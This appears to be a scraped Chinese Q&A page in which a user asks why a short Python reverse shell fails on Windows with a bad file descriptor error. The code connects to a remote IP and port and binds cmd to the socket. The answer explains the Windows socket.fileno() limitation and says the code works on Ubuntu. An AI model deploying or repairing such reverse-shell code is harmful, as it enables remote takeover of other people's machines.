当前位置:  开发笔记 > 编程语言 > 正文

当我在Windows上使用os.dup2()时,我收到一个错误:OSError:[Errno 9]错误的文件描述符

如何解决《当我在Windows上使用os.dup2()时,我收到一个错误:OSError:[Errno9]错误的文件描述符》经验,为你挑选了1个好方法。

我想在我的服务器上获取我的Windows shell,我使用以下代码.

import socket,os,subprocess

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.9.9.25',10089))

os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)

p=subprocess.call(['cmd','/u']);

我收到了错误

OSError: [Errno 9] Bad file descriptor.

Iron Fist.. 5

如果你已经阅读了关于socket.fileno()你的文档,你会知道这在Windows中不起作用,从Python文档引用:

socket.fileno()

返回套接字的文件描述符(一个小整数).这对select.select()非常有用.

在Windows下,此方法返回的小整数不能用于可以使用文件描述符的地方(例如os.fdopen()).Unix没有这个限制.

注意:

我已经在Ubuntu(Linux系统)中尝试过你的代码,它没有任何tweeking工作正常.



1> Iron Fist..:

如果你已经阅读了关于socket.fileno()你的文档,你会知道这在Windows中不起作用,从Python文档引用:

socket.fileno()

返回套接字的文件描述符(一个小整数).这对select.select()非常有用.

在Windows下,此方法返回的小整数不能用于可以使用文件描述符的地方(例如os.fdopen()).Unix没有这个限制.

注意:

我已经在Ubuntu(Linux系统)中尝试过你的代码,它没有任何tweeking工作正常.

推荐阅读
echo7111436
这个屌丝很懒,什么也没留下!
DevBox开发工具箱 | 专业的在线开发工具网站    京公网安备 11010802040832号  |  京ICP备19059560号-6
Copyright © 1998 - 2020 DevBox.CN. All Rights Reserved devBox.cn 开发工具箱 版权所有